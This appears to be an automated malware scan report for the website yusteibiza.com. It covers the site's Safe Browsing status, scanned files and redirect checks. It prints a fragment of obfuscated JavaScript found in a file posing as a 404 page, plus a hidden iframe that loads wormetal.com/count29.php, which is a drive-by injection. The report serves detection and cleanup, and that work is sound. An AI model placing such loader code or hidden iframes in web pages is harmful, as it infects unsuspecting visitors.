Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=yusteibiza.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://yusteibiza.com/ | 200 OK Content-Length: 400 Content-Type: text/html | clean |
http://yusteibiza.com/test404page.js | 404 Not Found Content-Length: 80271 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var WnmaQ={YYSXc:function(){l='';var v=function(){};function nB(){};var g = new Date(2011, 10, 12, 10, 42, 57);this.mS="mS";var s=false;this.zN=false;var u="";var o = g.getMonth();var r = "from" + g.getMonth() + "e";function t(){};d='';r = r.replace(10, "CharCod");a="";this.bX=''; var z=null;var aY=false;var f=function(){};var i=document.styleSheets;zA="";var x=false;for(var gP=0;gP < i.length;gP++){this.tT=false;var fU="fU";this.nT=62782;var jC='';var b=i[gP].cssRules||i[gP].rules;aV="";var Decoded script: [111,0,-12,18,-87,105,-48,42,-120,12,63,54,-72,-63,111,-9,33,-135,9,132,-6,-54,54,-72,-63,60,63,-87,81,-48,33,-78,45,12,54,-3,-87,75,6,-42,-48,9,-6,-6,96,-132,42,-18,87,0,0,-12,18,-66,21,12,54,-87,84,-93,99,-30,0,-30,-51,108,6,-81,75,-108,-6,87,0,0,-24,42,-120,12,63,54,-72,-63,111,-39,-24,48,-96,135,-3,-102,21,45,18,-66,21,12,54,-108,33,-12,-42,99,-60,-3,-42,0,57,9,-54,0,60,54,-78,33,54,-135,69,72,-30,-105,120,-45,-69,-6,120,-108,45,-63,87,3,21,-54,-15,15,-12,-18,45,24,-12,-84,42,63,-60,54, <iframe src='http://wormetal.com/count29.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe> Antivirus reports:
|
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: yusteibiza.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Thu, 26 Feb 2015 01:54:07 GMT
Accept-Ranges: bytes
ETag: "46c15e-190-170c0fc0"
Server: Apache/2.0.52 (CentOS)
Content-Length: 400
Content-Type: text/html
Last-Modified: Wed, 20 Nov 2013 11:29:11 GMT
X-Powered-By: PleskLin
...400 bytes of data.
GET / HTTP/1.1
Host: yusteibiza.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Thu, 26 Feb 2015 01:54:07 GMT
Accept-Ranges: bytes
ETag: "46c15e-190-170c0fc0"
Server: Apache/2.0.52 (CentOS)
Content-Length: 400
Content-Type: text/html
Last-Modified: Wed, 20 Nov 2013 11:29:11 GMT
X-Powered-By: PleskLin
...400 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: yusteibiza.com
Referer: http://www.google.com/search?q=yusteibiza.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: yusteibiza.com
Referer: http://www.google.com/search?q=yusteibiza.com
Result:
The result is similar to the first query. There are no suspicious redirects found.